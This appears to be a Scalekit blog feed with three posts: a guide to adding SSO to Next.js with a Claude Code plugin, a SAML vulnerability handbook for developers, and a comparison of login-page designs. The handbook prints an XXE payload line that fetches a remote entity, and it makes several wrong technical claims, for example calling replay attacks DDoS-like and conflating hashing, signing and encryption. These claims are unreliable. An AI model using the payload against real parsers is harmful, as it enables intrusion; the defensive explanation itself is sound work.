Forem: Scalekit Inc

Add Enterprise SSO to Your Next.js App in Minutes Using Claude Code & Scalekit

Saif — Tue, 24 Mar 2026 04:13:07 +0000

The old way: Spend hours reading OAuth documentation, configuring SAML endpoints, building login flows, handling token validation, and creating admin portals for your enterprise customers.

The new way: Describe what you want in plain English. Let Claude Code and Scalekit's plugin do the rest.

This guide shows you how to add production-ready enterprise Single Sign-On to a Next.js application using Claude Code's plugin ecosystem—going from zero to a working SSO flow with customer self-service portal in under 10 minutes.

What You're Building
Understanding the Plugin Architecture
Prerequisites
Step-by-Step Implementation
Testing with the IDP Simulator
How It Actually Works
Production Considerations
Alternative: Using Other AI Coding Agents
Why This Matters

What You're Building

By the end of this guide, you'll have:

1. Enterprise SSO Authentication Flow

Users enter their work email (user@company.com)
Automatic redirect to their organization's identity provider (Microsoft Entra ID, Okta, Google Workspace, etc.)
Secure callback handling with token validation
Session creation with verified user identity

2. Self-Service Admin Portal

Your B2B customers configure their own IDP connections
No engineering involvement needed for enterprise onboarding
Support for SAML and OIDC protocols
Real-time connection status monitoring

3. Production-Ready Code

Environment-based configuration
Proper error handling
Security best practices baked in
Next.js App Router patterns

Understanding the Plugin Architecture

Before we dive in, let's understand what makes this possible.

What Are Claude Code Plugins?

Claude Code plugins are packaged bundles of capabilities that extend what Claude can do. Think of them as specialized skill packs that teach Claude how to work with specific services, frameworks, or patterns.

A plugin can contain:

Skills: Context-aware instruction sets Claude automatically uses when relevant
MCP Servers: Connections to external APIs and services via Model Context Protocol
Commands: Slash commands you invoke manually (e.g., /deploy)
Subagents: Specialized AI agents for specific tasks (e.g., security review)
Hooks: Scripts that run on specific events (pre-commit, post-deployment)

How Scalekit's Plugin Works

The Scalekit Auth Stack plugin gives Claude Code:

Documentation Access: Real-time access to Scalekit's implementation guides via MCP
API Integration: Ability to query your Scalekit environment, retrieve config, manage connections
Implementation Patterns: Battle-tested code patterns for SSO flows, session management, and security
Framework Knowledge: How to properly integrate with Next.js, Express, FastAPI, and other frameworks

When you ask Claude to "add SSO," it:

Reads your existing codebase structure
Pulls relevant Scalekit documentation
Queries your Scalekit environment via MCP
Generates complete, working code that follows your project's patterns

Prerequisites

Required:

A Next.js application (even a fresh create-next-app works)
Claude Code installed and configured
A Scalekit account with dashboard access

You'll need from Scalekit:

Environment URL (e.g., https://yourenv.scalekit.com)
Client ID (from your Scalekit dashboard)
Client Secret (generate in dashboard, keep secure)

Time investment: ~10 minutes

Step-by-Step Implementation

Step 1: Install the Scalekit Plugin

Open your terminal and start the Claude Code REPL:

claude

Add the Scalekit Auth Stack marketplace:

/plugin marketplace add scalekit-inc/claude-code-authstack

You should see confirmation:

❯ /plugin marketplace add scalekit-inc/claude-code-authstack

⎿  Successfully added marketplace: scalekit-auth-stack

Now install the Modular SSO plugin:

/plugin install modular-sso@scalekit-auth-stack

What just happened?

Claude Code now has access to Scalekit's SSO implementation knowledge
The plugin includes MCP servers that can query your Scalekit environment
Skills are loaded that guide code generation for auth flows

Verify installation:

/plugins

You should see modular-sso in your installed plugins list.

Step 2: Navigate to Your Project

Exit the REPL (Ctrl+D or exit) and navigate to your Next.js project:

cd /path/to/your-nextjs-app

Start Claude Code in your project:

claude

Step 3: Give Claude the Objective

Here's where the magic happens. Paste this prompt:

My goal is to add SSO to my application and also let my customers 
configure SSO connections with their IDP using an admin portal.

Watch Claude work:

Skill Detection: Claude automatically identifies the Modular SSO skill is relevant
Codebase Analysis: Reads your package.json, route structure, and existing patterns
Documentation Retrieval: Fetches Scalekit's implementation guide via MCP
Environment Discovery: Queries your Scalekit account to get environment details
Code Generation: Creates all necessary files following Next.js conventions

You'll see output like:

Loading skill: Modular SSO
Analyzing project structure...
Reading Next.js configuration...
Fetching Scalekit environment configuration...
Found environment: https://yourenv.scalekit.com
Retrieved Client ID: sk_live_...

Step 4: Approve the Redirect URI

Claude will ask permission to configure a redirect URI in your Scalekit environment:

I need to add a redirect URI to your Scalekit environment:
http://localhost:3000/api/auth/callback

Allow? [y/n]

Type y and press Enter.

Why this matters:
The redirect URI is where Scalekit sends users after they authenticate with their IDP. It must be registered for security—preventing malicious sites from receiving your auth callbacks.

Step 5: Add Your Client Secret

Claude will generate a .env.local file with:

SCALEKIT_ENV_URL=https://yourenv.scalekit.com
SCALEKIT_CLIENT_ID=sk_live_abc123...
SCALEKIT_CLIENT_SECRET=

Open your Scalekit dashboard, navigate to Settings → API Keys, and generate a new Client Secret.

Copy it and add to .env.local:

SCALEKIT_CLIENT_SECRET=sk_secret_xyz789...

Security note: Never commit this file. Claude should have added it to .gitignore automatically.

Step 6: Review Generated Files

Claude will have created:

your-app/
├── .env.local                          # Environment configuration
├── app/
│   ├── api/
│   │   └── auth/
│   │       ├── [org]/
│   │       │   └── route.ts           # SSO initiation
│   │       └── callback/
│   │           └── route.ts           # OAuth callback handler
│   ├── login/
│   │   └── page.tsx                   # Login page with email input
│   └── sso-settings/
│       └── page.tsx                   # Admin portal for IDP config
├── lib/
│   └── scalekit.ts                    # Scalekit client initialization
└── middleware.ts                       # Session validation (optional)

Key file: lib/scalekit.ts

import { ScalekitClient } from '@scalekit-sdk/node';

export const scalekit = new ScalekitClient(
  process.env.SCALEKIT_ENV_URL!,
  process.env.SCALEKIT_CLIENT_ID!,
  process.env.SCALEKIT_CLIENT_SECRET!
);

Key file: app/api/auth/callback/route.ts

import { scalekit } from '@/lib/scalekit';
import { NextRequest } from 'next/server';

export async function GET(request: NextRequest) {
  const searchParams = request.nextUrl.searchParams;
  const code = searchParams.get('code');
  const error = searchParams.get('error');

  if (error) {
    return Response.redirect('/login?error=' + error);
  }

  if (!code) {
    return Response.redirect('/login?error=no_code');
  }

  try {
    // Exchange code for user identity
    const result = await scalekit.authenticateWithCode(
      code,
      request.nextUrl.origin + '/api/auth/callback'
    );

    // Create session with user data
    // (Implementation depends on your session strategy)

    return Response.redirect('/dashboard');
  } catch (err) {
    console.error('Auth error:', err);
    return Response.redirect('/login?error=auth_failed');
  }
}

Step 7: Install Dependencies

Claude should have updated package.json, but verify:

pnpm install
# or npm install, or yarn install

Testing with the IDP Simulator

You don't need a real enterprise IDP to test this. Scalekit provides a built-in simulator.

Start Your Dev Server

pnpm dev

Navigate to http://localhost:3000—you should be redirected to /login.

Use the Test Organization

In your Scalekit dashboard:

Go to Organizations
Find the Test Organization (created by default)
Note it's configured with example.com as an organization domain
The IDP is set to IDP Simulator (simulates Okta/Microsoft/Google)

Test the Flow

On the login page, enter: yourname@example.com
Click Continue
You'll be redirected to the IDP Simulator (looks like a real enterprise login page)
Enter any name in the form
Click Simulate Login

What happens:

Scalekit matches example.com to the Test Organization
Redirects to the configured IDP (Simulator)
Simulator "authenticates" the user
Redirects back to your app at /api/auth/callback?code=...
Your app exchanges the code for user identity
Session is created, user is logged in

Check the Admin Portal

Navigate to http://localhost:3000/sso-settings

You should see:

Connected Identity Providers section
Status of each IDP (Enabled/Disabled)
Available IDPs to configure (Microsoft Entra ID, Okta, Google, etc.)

This is what your enterprise customers will use to self-serve their SSO configuration.

How It Actually Works

Let's demystify what just happened.

The SSO Flow

1. User visits app
   ↓
2. Redirected to /login
   ↓
3. User enters work email: user@acme.com
   ↓
4. App calls Scalekit: "Get SSO URL for acme.com"
   ↓
5. Scalekit checks: Is there an org with domain acme.com?
   ↓
6. If yes: Return IDP login URL for that org
   ↓
7. User redirected to their company's IDP (Okta/Microsoft/etc)
   ↓
8. User authenticates at IDP
   ↓
9. IDP redirects back to: yourapp.com/api/auth/callback?code=xyz
   ↓
10. App exchanges code with Scalekit for user identity
    ↓
11. Scalekit returns: { email, name, organization, ... }
    ↓
12. App creates session, user is logged in

Organization-Based Routing

The key insight: Scalekit routes authentication based on email domain.

When a user enters jane@acme.com:

Scalekit looks up which organization owns acme.com
Retrieves that organization's configured IDP
Returns the appropriate login URL

This is why your B2B customers can each use different IDPs—routing happens automatically per organization.

The Admin Portal

The self-service portal uses Scalekit's management APIs to:

List Organizations: Show the customer their organization details
Configure Connections: Let them set up SAML/OIDC with their IDP
Test Connections: Validate the setup before going live
Manage Domains: Add/remove email domains for their org

All without your engineering team touching anything.

Security Considerations Built In

The generated code includes:

PKCE (Proof Key for Code Exchange): Protects against authorization code interception
State Parameter: Prevents CSRF attacks
Token Validation: Ensures codes haven't been tampered with
Environment-Based Config: Secrets never in version control
HTTPS Enforcement: Redirect URIs must use HTTPS in production

Production Considerations

Environment Variables

For production, set these in your hosting platform (Vercel, AWS, etc.):

SCALEKIT_ENV_URL=https://yourenv.scalekit.com
SCALEKIT_CLIENT_ID=sk_live_...
SCALEKIT_CLIENT_SECRET=sk_secret_...

Update Redirect URIs

In your Scalekit dashboard, add production callback URLs:

https://yourdomain.com/api/auth/callback

Session Management

Claude generates a basic session setup. For production, consider:

Session Storage: Redis, database, or encrypted cookies
Session Lifetime: How long until re-authentication required
Token Refresh: For long-lived sessions
Multi-Device: Handling concurrent sessions

Error Handling

Add user-friendly error messages:

// app/login/page.tsx
const errorMessages = {
  no_code: 'Authentication failed. Please try again.',
  auth_failed: 'Could not verify your identity.',
  invalid_email: 'Please use your work email address.',
  no_org: 'Your organization has not set up SSO yet.'
};

Monitoring

Track:

Failed authentication attempts
Organization-wise SSO usage
IDP connection health
Session creation/destruction

Scalekit provides webhooks for these events.

Alternative: Using Other AI Coding Agents

Scalekit's Auth Stack works with 40+ AI coding agents, not just Claude Code.

GitHub Copilot CLI

# Install marketplace
copilot plugin marketplace add scalekit-inc/github-copilot-authstack

# Install plugin
copilot plugin install modular-sso@scalekit-auth-stack

# Generate implementation
copilot "Add Scalekit SSO to my app with admin portal for customer IDP configuration"

Cursor

Option: Use Claude Code marketplace (works now)

# In Claude Code REPL
/plugin marketplace add scalekit-inc/claude-code-authstack

# Cursor automatically picks up Claude Code plugins
# Open Cursor → Settings → Plugins → Enable Modular SSO

Then use Cursor's chat with Cmd+L / Ctrl+L:

Add Scalekit SSO with customer admin portal for IDP configuration

Any Agent via Vercel Skills

# Interactive install
npx skills add scalekit-inc/skills

# Or list and pick
npx skills add scalekit-inc/skills --list

# Install specific skill
npx skills add scalekit-inc/skills --skill modular-sso

# Global install for all projects
npx skills add scalekit-inc/skills --all --global

Supported agents: Windsurf, Cline, Gemini CLI, OpenCode, Codex, and 30+ others.

Why This Matters

Traditional SSO implementation:

Read OAuth 2.0 / SAML spec (hours)
Study IDP-specific quirks (hours)
Write authorization URL generation (30 min)
Handle callback and token exchange (1 hour)
Build session management (2+ hours)
Create admin UI for IDP config (3+ hours)
Test with multiple IDPs (hours)
Debug edge cases (days)

Total: 1-2 weeks for an experienced developer

With Claude Code + Scalekit:

Install plugin (1 minute)
Describe what you want (30 seconds)
Review generated code (5 minutes)
Test with simulator (2 minutes)

Total: ~10 minutes

The code quality is production-ready because:

The plugin encodes battle-tested patterns from thousands of implementations
It follows your framework's conventions automatically
Security best practices are baked in
Scalekit handles the complex parts (SAML parsing, token validation, IDP integrations)

Conclusion

Enterprise SSO used to be a feature that delayed product launches. Between understanding OAuth flows, handling SAML complexity, and building customer onboarding portals, it was weeks of work.

AI coding agents with specialized plugins collapse that timeline to minutes. But this isn't about AI writing code faster—it's about encoding expert knowledge into reusable skills that handle entire feature implementations.

The Scalekit plugin doesn't just generate boilerplate. It:

Understands your codebase structure
Queries your live environment
Follows security best practices
Creates complete, working flows

This is the new paradigm: describe the outcome, let specialized agents handle the implementation details.

Next steps:

Try it yourself: The fastest way to understand this isn't reading—it's doing. Spin up a fresh Next.js app, install the plugin, and watch Claude build your SSO flow in real-time.

The future of development isn't writing less code. It's describing what you want and having specialized agents that actually understand your domain build it for you.

Have questions? Join the Scalekit's Slack or the Claude Code community.

A SAML Security Vulnerability Handbook for Developers

The Scalekit Team — Fri, 02 Aug 2024 09:56:44 +0000

One surefire way to get stuck in developer purgatory is developing a custom implementation of the Security Assertion Markup Language (SAML) protocol to enable enterprise single sign-on (SSO) authentication… without knowing exactly what you’re getting into.

Even if you’ve read our primer on SAML implementation, you still need to fully understand the scope of possible SAML vulnerabilities and the intricate requirements of developing proper and reliable resolutions. To give you a sense of that scope, let’s examine the common vulnerabilities you need to be aware of—not as a checklist that will declare your implementation ready to handle the stringent requirements of enterprise SSO, but as a peek into how many developer hours go into a secure SAML implementation.

What makes SAML open to vulnerabilities?

As an open standard for exchanging authentication and authorization information between IdPs and SPs, SAML is not inherently vulnerable—it’s merely a description of the handshake between your B2B SaaS product (Service Provider or SP) and the Identity Provider (IdP).

Still, the default SAML response, which is both unsigned and unencrypted, is an extraordinarily complex document:

<?xml version="1.0"?>
<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="..." Version="2.0" IssueInstant="2024-04-15T01:01:48Z" Destination="https://app.your-saas.com/?login" InResponseTo="...">
  <saml:Issuer>https://idp-example.com/metadata</saml:Issuer>
  <samlp:Status>
    <samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
  </samlp:Status>
  <saml:Assertion xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xs="http://www.w3.org/2001/XMLSchema" ID="..." Version="2.0" IssueInstant="2024-04-15T01:01:48Z">
    <saml:Issuer>https://idp-example.com/metadata</saml:Issuer>
    <saml:Subject>
      <saml:NameID SPNameQualifier="https://your-saas.com/metadata" Format="urn:oasis:names:tc:SAML:2.0:nameid-format:transient">...</saml:NameID>
      <saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
        <saml:SubjectConfirmationData NotOnOrAfter="2024-05-15T09:01:48Z" Recipient="https://app.your-saas.com/" InResponseTo="..."/>
      </saml:SubjectConfirmation>
    </saml:Subject>
    <saml:Conditions NotBefore="2024-04-15T01:01:18Z" NotOnOrAfter="2024-01-18T06:21:48Z">
      <saml:AudienceRestriction>
        <saml:Audience>https://your-saas.com/metadata</saml:Audience>
      </saml:AudienceRestriction>
    </saml:Conditions>
    <saml:AuthnStatement AuthnInstant="2024-04-15T01:01:48Z" SessionNotOnOrAfter="2024-05-15T09:01:48Z" SessionIndex="...">
      <saml:AuthnContext>
        <saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:Password</saml:AuthnContextClassRef>
      </saml:AuthnContext>
    </saml:AuthnStatement>
    <saml:AttributeStatement>
      <saml:Attribute Name="uid" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic">
        <saml:AttributeValue xsi:type="xs:string">bob</saml:AttributeValue>
      </saml:Attribute>
      <saml:Attribute Name="mail" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic">
        <saml:AttributeValue xsi:type="xs:string">bob@example.com</saml:AttributeValue>
      </saml:Attribute>
      <saml:Attribute Name="role" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic">
        <saml:AttributeValue xsi:type="xs:string">users</saml:AttributeValue>
        <saml:AttributeValue xsi:type="xs:string">admin</saml:AttributeValue>
      </saml:Attribute>
    </saml:AttributeStatement>
  </saml:Assertion>
</samlp:Response>

As a developer, your first task—implementing an authentication system that can properly construct and parse assertions like the above SAML content—is easier said than done.

SAML is based on XML, which has no semantics or defined structure, making it difficult to write and harder to read at a glance. You’ll want to rely on parsers and helper libraries to do the heavy lifting, but there are hundreds of implementations covering all popular programming languages. Some might be wildly popular and seem vetted by the open-source community, but you have no guarantee they’ll work as expected. They could easily introduce new unexpected vulnerabilities into your authentication infrastructure.

Your second task is establishing a security baseline in your SAML implementation by enforcing signed and encrypted assertions, using an XML Signature (XMLDSig) and SHA-256 encryption, respectively. For your authentication system to exchange signed and encrypted messages, you’re dealing now with the infrastructure required to decrypt assertions using keys and safely store certificates, which goes far beyond most developers’ know-how.

These measures help protect your users’ data, but change the contents of your SAML responses and assertions dramatically:

<?xml version="1.0"?>
<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="..." Version="2.0" IssueInstant="2024-04-15T01:01:48Z" Destination="https://app.your-saas.com/?login" InResponseTo="...">
  <saml:Issuer>https://idp-example.com/metadata</saml:Issuer>
  <ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
    <ds:SignedInfo>
      <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
      <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>
      <ds:Reference URI="#pfxd32edc4b-4995-439f-ac61-a3eb7142995a">
        <ds:Transforms>
          <ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/>
          <ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
        </ds:Transforms>
        <ds:DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/>
        <ds:DigestValue>0ZGpsHSqaCe2HHtvXVuEyLWgCa0=</ds:DigestValue>
      </ds:Reference>
    </ds:SignedInfo>
    <ds:SignatureValue>...</ds:SignatureValue>
    <ds:KeyInfo>
      <ds:X509Data>
          <ds:X509Certificate>...</ds:X509Certificate>
      </ds:X509Data>
    </ds:KeyInfo>
  </ds:Signature>
  <samlp:Status>
    <samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
  </samlp:Status>
  <saml:EncryptedAssertion>
    <xenc:EncryptedData xmlns:xenc="http://www.w3.org/2001/04/xmlenc#" xmlns:dsig="http://www.w3.org/2000/09/xmldsig#" Type="http://www.w3.org/2001/04/xmlenc#Element">
      <xenc:EncryptionMethod Algorithm="http://www.w3.org/2001/04/xmlenc#aes128-cbc"/>
      <dsig:KeyInfo xmlns:dsig="http://www.w3.org/2000/09/xmldsig#">
        <xenc:EncryptedKey>
          <xenc:EncryptionMethod Algorithm="http://www.w3.org/2001/04/xmlenc#rsa-1_5"/>
          <xenc:CipherData>
            <xenc:CipherValue>...</xenc:CipherValue>
          </xenc:CipherData>
        </xenc:EncryptedKey>
      </dsig:KeyInfo>
      <xenc:CipherData>
        <xenc:CipherValue>...</xenc:CipherValue>
      </xenc:CipherData>
    </xenc:EncryptedData>
  </saml:EncryptedAssertion>
</samlp:Response>

Think of these SAML snippets, and the language as a whole, like a recipe. They give you all the ingredients you need to implement secure authentication, and detail which steps your system must take at each phase of the SSO process… but if you mess up even one small detail, there’s no one to blame but yourself.

The most common SAML security vulnerabilities

An exhaustive exploration of all possible SAML vulnerabilities and viable remedies could take weeks, but if you’re just getting started with validation solutions and deciding whether to build or buy, here are 10 vulnerabilities you need to investigate.

We haven’t ordered these based on any definitions of severity, complexity, or ease of remediation. Why? Because when you’re dealing with enterprise-grade authentication, even the “smallest” vulnerability hurts your trust, costs you customers, and exposes their confidential information to attackers.

XML signature wrapping (XSW)

What is it? Attackers can use XSW to inject forged elements into a SAML assertion while not affecting the validity of the signature. For example, every SAML assertion contains an attribute relating to a user’s privileges within your SaaS, like user, editor, and admin. Using an XSW attack, an attacker could change a user’s privileges from user to admin, giving them widespread access to read or download confidential data from one of your customers.
How do you prevent it? At a minimum, you need to validate the schema of SAML assertions using local, trusted copies and verify all signatures with a trusted certificate. You should also validate user input for unexpected values.

Lateral movements from non-intended responses

What is it? An improper SAML implementation might validate an assertion signed with a shared private signing key. After being authenticated once for SSO, the attacker could then move across all SaaS apps integrated into your IdP.
How do you prevent it? Validate whether the SAML response is intended for your app and discard any mismatches using zero-trust or least-privilege methodology.

Eavesdropping, theft, and man-in-the-middle attacks

What is it? SAML messages often contain details about the user and their attributes, similar to the XSW vulnerability and an admin account. An attacker capable of accessing these attributes of user accounts gains valuable information about the logic behind your authentication system and narrows their targets for social engineering attacks directly against users with the most privileges.
How do you prevent it? Ensure your SAML implementation sends all assertions over HTTPS at a minimum. You should also extend your protection with strong encryption like AES-256 with the Algorithm attribute like so:

<ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/>

Expired messages

What is it? If an attacker intercepts or steals a SAML message, they can exploit that later to impersonate a real user. If your SAML implementation doesn’t expire assertions after a specific time, you’ve given your attacker far more time to fine-tune and perfect their strategy for exploiting your authentication system or your users’ data.
How do you prevent it? Use the NotBefore and NotOnOrAfter attributes available from the SAML standard to create a timeline in which your SAML implementation will validate assertions. Given some leeway for clock skew, any messages outside the window must be rejected.

Open redirects

What is it? For the best user experience, most authentication mechanisms redirect users directly into the SaaS after they successfully log in. When you’re working with enterprise-grade SSO, you can use the RelayState attribute in SAML to specify the redirect URL. If an attacker learns how your SAML implementation processes redirects using query strings, they can inject a new URL to redirect users toward a phishing site.
How do you prevent it? Create an allowlist of trusted URLs in your SAML implementation to redirect users after they complete authentication for the best balance of user experience and user security. Always validate whether the SAML assertion’s RelayState attribute contains one of these hardcoded URLs.

Round-trip attacks in vulnerable XML parsers

What is it? When your SAML implementation parses and serializes an assertion multiple times during the required handshakes between the user, IdP, and SP, bugs in XML parsers can introduce bugs that change the assertion’s shape. Attackers can use stolen or forged assertions to explore your authentication system for the presence of buggy XML parsers. With that information, they can craft specific strings to bypass your authentication system and log in as a real user.
How do you prevent it? Use only well-known and recently updated open-source libraries for parsing XML. Run npm audit, or a similar command for your language/framework, to find vulnerable versions of SAML libraries you use in production.

Signature exclusion

What is it? Poorly-designed SAML implementations can entirely skip signature validation, or check only the signature in the first assertion of many. Attackers can use forged and unsigned documents to bypass those insufficient checks and access your users’ data.
How do you prevent it? Only allow SAML responses that are fully signed, and validate that every assertion in the SAML exchange is signed.

Replay attacks

What is it? These are like a distributed denial of service (DDoS) attack but targeting authentication providers, taking down your authentication services or dramatically spending what you spend on authentication requests.
- How do you prevent it? Implement HTTPs in all your requests and responses and never expose the SAML response to the browser.

XML External Entity (XXE)

What is it? SAML assertions can reference external entities through a Document Type Definition (DTD). An improperly configured XML parser would access the external entity and execute its payload, putting your authentication system at risk of a DDoS attack or attackers access to confidential information.

<!DOCTYPE Response [<!ENTITY attack SYSTEM "http://example.com/attack-payload.xml">]>
<samlp:Response ...>...</saml2p:Response>

How do you prevent it? Disallow your XML parser from fetching and processing DTDs and enforce Content Security Policy (CSP) headers on all SAML requests. Implement monitoring for filesystem reads or unexpected network requests.

Certificate faking

What is it? Attackers can use self-signed certificates with their SAML assertions to help them figure out whether a SP verifies that a trusted IdP signs your SAML. Certificate faking is not an attack itself but reveals opportunities for attackers to perform one of the above attacks more knowledgeably.
How do you prevent it? Ensure your implementation only validates SAML messages signed by a trusted IdP.

How do you identify SAML security vulnerabilities?

Part of the problem with developing an in-house SAML implementation is that you’re not only diving deep into an extraordinarily complex protocol and parser ecosystem but also constantly weighing security versus user experience. Automatically redirecting authenticated users into your SaaS is a positive and now-expected user experience, but implementing it as a developer is non-trivial.

Every nicety and feature you deliver to your SaaS users has downstream effects that could dramatically increase the horizon in which you can develop, secure, and deploy your SAML implementation.

You must still decide whether to build or buy your path toward enterprise-ready authentication with SAML. That starts with estimating the developer hours you’d need and weighing that against the all-in cost of going with an existing provider—and the time you’d win back by not doing it yourself.

If you’re going to build your own SAML implementation:

Start by understanding all the vulnerabilities and preventative measures listed above, but recognize that these are just a small subset of the possible SAML vulnerabilities and SSO security measures you should be concerned about. Stay on top of the latest security research from OASIS Open and OWASP regarding newly discovered vulnerabilities.

First off, do not attempt to write your own XML parser. XML and SAML have been around for decades, and security researchers are still discovering and fixing new exploits in popular parsers—you won’t be able to build a more secure implementation without tens of thousands of hours at extraordinary cost.

During your development work, use only modern and updated SAML/XML libraries, and beware when implementing backward compatibility with older XML parsers, which may introduce vulnerabilities you thought you’d solved. To actively test your implementation, use dynamic application security testing (DAST) tools, a SAML-specific tool like SAML Raider, or webapps like Mock SAML.

Your concerns then go beyond pure development work. After deployment, you should also implement a complimentary observability platform for real-time insights into the volume and nature of your SAML requests. To help your DevOps/SecOps/IT administration peers, you should also implement error handling and logging—they’ll need this valuable information in a user-friendly environment to troubleshoot issues and catch incidents before they become outages.

Finally, consider the ongoing maintenance cost—not just of keeping your SSO service functioning but also of regularly auditing your IdP and SP configurations for SAML best practices.

If you’re buying a SAML implementation:

You’ll be in luck with a product like Scalekit, which uses SAML for enterprise-ready SSO authentication. Instead of wading through vulnerability scans and maintaining a massively complex security posture, you can leverage all the expertise and constant improvement of a dedicated team focused solely on building the most secure B2B authentication.

Without upfront development and maintenance costs, you can achieve your goal of providing seamless authentication for your users in a fraction of the time—time you could spend far more profitably building a product your users can’t help but log in to again and again.

‍

Designing B2B Authentication Experiences: Universal vs. Organization-Specific Login

The Scalekit Team — Tue, 09 Jul 2024 10:35:04 +0000

One of the first decisions you must make when architecting a new B2B application? How you’re going to allow users to authenticate.

You have two choices: the universal login page or the organization-specific login page. We’ll make the distinction clear in a moment, but for now, know that the path you choose here has significant downstream effects on the entire lifecycle of your B2B application, and in ways far more significant than designing and developing a login page that looks good. Notably, three personas are most affected with the choice you make:

Your internal product engineers, who build your application.
Your customers’ IT administrators, who provision users, manage privileges, and enable single sign-on (SSO) integration with their identity providers (IdPs) such as Okta, Microsoft Azure AD.
Your product’s users, who will be logging into your application.

Conveniently, two popular applications—Notion and Slack—have made opposite choices for end-user authentication flows. Their ubiquity makes them ideal for identifying how they implemented differing flows, tracing the pros and cons for each affected persona, and ultimately helping you create the best authentication paradigm for your application.

What are the Notion and Slack styles of Authentication?

Before diving too deeply into authentication nuances, let’s clarify our definitions.

Notion-style authentication flow uses universal login page
Slack-style authentication flow uses organization-specific login page

How are they different?

With a universal login page, the application identifies which organization the end user belongs to. In contrast, with an organization-specific page, the end user shares the organization as input to the application before they can be authenticated.

With Notion, you start authentication by loading the universal login page at notion.so/login. You give your work email address, which Notion uses to identify which organization you belong to based on the domain name. If your email is celina@foocorp.com, Notion assumes you’re part of the organization associated with foocorp.com.

Notion uses that information to provide you with the next best step for the authentication flow, which might be entering a password, using SSO, receiving a magic link, or any auth setting configured by your IT admin.

In the case of Slack’s authentication experience, as an end user, you must navigate to the Slack’s organization-specific login page at a specific URL, like foocorp.slack.com. In this case, you’ve already specified which organization you belong to (Foocorp) through the subdomain, and Slack uses that information to show you the appropriate authentication flow.

In both cases, once the application identifies the end-user’s organization, it honors their authentication settings, including SSO, identity provider, multi-factor authentication (MFA), password policy, and so on.

The user experience (UX) around honoring those settings can still vary between applications. Notion’s universal login page, for example, separates the email and password fields so it can perform the home realm discovery (that’s discovering the tenant) and honor auth settings.

Note that, Dropbox hides the password field if the email address entered matches a tenant with enterprise authentication enabled.

Freshworks takes yet another approach, using home realm discovery to ascertain your tenant and redirecting your browser to an organization-specific login page.

Again, these differences might seem small, but the impact is outsized by a few orders of magnitude by the resulting choices around implementation and infrastructure.

Contributing technical factors: tenancy and home realm discovery

Tenancy is the architectural decision to isolate the authentication policies, settings, users, and data between each organization registered with an application. Multi-tenant architecture is an essential ingredient for the authentication and security of a SaaS app, ensuring a user of organization Foorcorp can never read data belonging to organization Barcorp.

Home realm discovery (HRD) is the process by which a application identifies which tenant a user belongs to from the login page. Because every application uses a multi-tenant architecture, HRD is also necessary, as there could be a hundred Celina users, each belonging to a different organization and stored inside a different tenant. HRD requires an identifier, which applications collect in a few standard ways:

The domain name (foocorp.com) on the end-user’s work email.
An organization-specific “username,” like Foocorp.
A user-specific ID that cannot be repeated elsewhere, like celina0001 versus celina0002.

If we map this idea to the universal and organization-specific login pages concept from before, we can clarify our definitions even more.

With a universal login page, the application must complete some type of HRD to authenticate end users.
With an organization-specific login page, the HRD is done as the user inputs the organization name as part of the authentication process.

Once the application completes HRD and maps the end user’s identifier to a tenant, it can honor those authentication settings and allow them to finish logging in using approved methods. Now that you understand the two possible authentication flows for a application, and how each works alongside your required multi-tenant architecture, we can explore those big implications.

For your app’s internal engineering team

Universal Login

Pros

Universal login pages are easy to design and develop, as only one possible user interface (UI) and common UX pattern exists.
You can extend universal login pages to allow a single user to log in to multiple workspaces for cross-organization collaboration similar to Notion.

Cons

Your team must implement a robust Home Realm Discovery (HRD) to discover the appropriate tenant that a user belongs to based on the user input. This Home Realm Discovery can either based on user’s email address of explicit input of user’s tenant information like Account Name, Organization ID etc. This requires additional engineering effort for the HRD implementation.
If your customers require data residency, you must engineer more network-level workarounds to redirect users to the appropriate tenant and region.

Organization-specific Login

Pros

Users perform HRD on your behalf by supplying the subdomain, which simplifies your backend logic.
In some ways, it’s easier for your team to manage data residency, as you can map the DNS records for a specific tenant (foocorp.com) to cloud resources in their region of choice.

Cons

Instead of designing and developing a single authentication flow, your team is now responsible for many.
Must develop additional measures to help new users remember the URL for their login page, such as email reminders. You may even want to create a method for them to recover a “lost” organization.

For your customer’s IT administrator

Universal login

Pros

Similar to the development process, they only have a single authentication flow and login page to worry about.

Cons

IT administrators at enterprise organizations might require far more customization than a universal login page can offer.

Organization-specific login

Pros

Customize the login page so their users perceive the product as a white-labeled solution.
Restrict authentication methods to only an approved subset of the available options, simplifying the UX and moving users toward the “best” option.
Add custom terms or disclaimer notices onto the login page for legal or compliance purposes.

Cons

Must educate their employees or customers to visit the specific URL to access the application.

For your application’s end user

Universal login

Pros

The UX is extremely straightforward: they navigate to a well-known URL like notion.so/login or through a big Log in button on your homepage.

Cons

None.

Organization-specific login

Pros

The UX around approved authentication methods

Cons

End users must remember the URL for their organization-specific login page. If they can’t remember or retrieve the information, they could be frustrated enough to create a new account or abandon your application altogether.

How do you choose between a universal vs. organization-specific login page?

Frankly, there is no direct answer. The best solution is based on your customers and admins experience in your application. As you’re making other architectural and technical decisions, such as which JavaScript UI framework to choose, whether to build a monolith or many microservices, or which cloud provider gives you the most startup credits, you should take time to weigh the user experience for each persona in light of your long-term go-to-market (GTM) strategy.

